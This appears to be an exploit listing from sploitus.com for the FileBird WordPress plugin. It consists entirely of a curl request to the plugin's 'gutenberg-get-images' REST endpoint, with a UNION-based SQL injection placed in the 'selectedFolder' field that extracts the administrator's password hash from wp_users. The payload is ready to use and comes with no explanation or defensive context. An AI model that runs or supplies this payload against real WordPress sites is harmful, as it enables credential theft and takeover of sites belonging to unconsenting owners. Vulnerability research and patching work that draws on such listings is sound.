Share
## https://sploitus.com/exploit?id=WPEX-ID:754AC750-0262-4F65-B23E-D5523995FBFA
curl 'https://example.com/wp-json/filebird/v1/gutenberg-get-images?_locale=user' \
-H 'accept: application/json, */*;q=0.1' \
-H 'accept-language: en-GB,en-US;q=0.9,en;q=0.8' \
-H 'content-type: application/json' \
--data-raw '{"isLoading":false,"captions":{},"imagesRemoved":[],"images":[],"selectedFolder":["1) UNION (SELECT user_pass FROM wp_users WHERE ID=1"],"columns":3,"isCropped":true,"hasCaption":false,"linkTo":"none","sortBy":"date","sortType":"DESC","animation":"none","animationEasing":"linear","animationDelay":0,"animationDuration":400,"folders":[{"value":0,"label":"Please choose folder","disabled":true}]}' \
--compressed